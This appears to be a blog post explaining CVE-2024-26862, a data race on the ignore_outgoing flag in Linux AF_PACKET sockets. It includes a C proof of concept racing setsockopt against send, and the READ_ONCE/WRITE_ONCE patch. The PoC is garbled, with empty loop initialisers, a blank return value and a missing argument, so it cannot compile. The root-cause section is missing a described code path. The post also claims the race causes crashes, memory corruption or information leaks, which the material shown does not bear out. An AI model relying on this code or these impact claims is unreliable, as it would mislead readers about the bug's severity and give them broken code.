CVE-2024-26862 is a recently resolved data-race vulnerability in the Linux kernel, specifically within the packet socket subsystem. It was detected and reported by syzbot using KCSAN (Kernel Concurrency Sanitizer). The race occurs when packet sockets (AF_PACKET) access the ignore_outgoing flag without proper synchronization, leading to potential memory corruption or unpredictable behavior.

This post explains the bug, how it may be exploited, what the original references are, the core code paths, and how the Linux team fixed it.

The Root Cause

The Linux kernel provides "packet sockets" so user programs can access raw network packets. The AF_PACKET code uses a flag called ignore_outgoing. Two different kernel code paths—sending and option-setting—access this flag concurrently.

packet_setsockopt() (sets a socket option) writes ignore_outgoing, also without a lock.

This violates concurrency safety, and KCSAN observed potential data-race errors.

KCSAN Bug Report (Short)

BUG: KCSAN: data-race in dev_queue_xmit_nit / packet_setsockopt

write to xffff888107804542 ... [packet_setsockopt]
read  to xffff888107804542 ... [dev_queue_xmit_nit]
value changed: x00 -> x01

Here, writing and reading happen at the same memory simultaneously, causing a data race.

What could an attacker do?

- Crash the kernel (Denial-of-Service) by racing setsockopt and raw packet sending on the same socket.
- Information leak: In rare cases, a race condition might allow erroneous flag reading, causing packets to be erroneously dropped or processed.

Who is affected?

- Systems running kernels before the patch, especially those using AF_PACKET sockets and manipulating socket options in multithreaded or network-heavy settings.

Reproducing the Issue

Below is a proof-of-concept C code snippet that simulates the race and could trigger the bug on vulnerable kernels:

// [PoC] Race setsockopt and packet sending
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <unistd.h>
#include <stdio.h>
#include <pthread.h>

int sock;

void *set_opts(void *arg) {
    int flag = 1;
    for (int i = ; i < 100000; i++)
        setsockopt(sock, SOL_PACKET, PACKET_IGNORE_OUTGOING, &flag, sizeof(flag));
    return NULL;
}

void *send_packets(void *arg) {
    char buf[64] = {};
    for (int i = ; i < 100000; i++)
        send(sock, buf, sizeof(buf), );
    return NULL;
}

int main() {
    struct sockaddr_ll addr = { .sll_family = AF_PACKET };
    sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    bind(sock, (struct sockaddr *)&addr, sizeof(addr));

    pthread_t t1, t2;
    pthread_create(&t1, NULL, set_opts, NULL);
    pthread_create(&t2, NULL, send_packets, NULL);

    pthread_join(t1, NULL);
    pthread_join(t2, NULL);
    close(sock);
    return ;
}

On affected kernels, running this code with the right privileges could cause panics or strange behavior (use in a VM only).

Technical Details: Where’s the Race?

ignore_outgoing is a field in kernel space. It wasn't annotated with special macros, so the compiler and CPU might reorder reads/writes.

Here's a simplified version of the problematic code

// Reading the flag
if (pkt_sk->ignore_outgoing)
    return;

// Setting the flag (no lock)
pkt_sk->ignore_outgoing = optval;  // Data race!

Meanwhile, two threads (or CPUs) access and modify this byte simultaneously.

The Patch

The fix simply uses kernel macros READ_ONCE() and WRITE_ONCE() from linux/compiler.h, telling the compiler and CPU not to combine, cache, or reorder these accesses:

// net/packet/af_packet.c

#include <linux/compiler.h>

// Now, in relevant code:
if (READ_ONCE(pkt_sk->ignore_outgoing))
    return;

WRITE_ONCE(pkt_sk->ignore_outgoing, optval);

This makes the access "safe" without needing heavy locks.

Upstream fix commit:
Linux kernel commit b1bee7dfd59c

Upstream commit:

https://git.kernel.org/linus/b1bee7dfd59c

Syzbot report:

https://syzkaller.appspot.com/bug?id=84cae967624ef615af74944c9c1154e9f127dd7

Upgrade ASAP to a patched kernel (6.8+ or with backported patch).

- Limit direct AF_PACKET usage to trusted code/users.

Conclusion

CVE-2024-26862 is a classic example of a concurrency bug in the kernel lurking in plain sight—it’s subtle but potentially dangerous. Take it seriously: patch your systems, review your code for similar races if you write kernel modules, and keep an eye on user-kernel concurrency. The fix is simple: just use READ_ONCE() and WRITE_ONCE() for shared data accessed without a lock.


If you found this post useful, share it with your colleagues, and always stay up-to-date with security advisories!

Timeline

Published on: 04/17/2024 11:15:09 UTC
Last modified on: 03/03/2025 17:47:59 UTC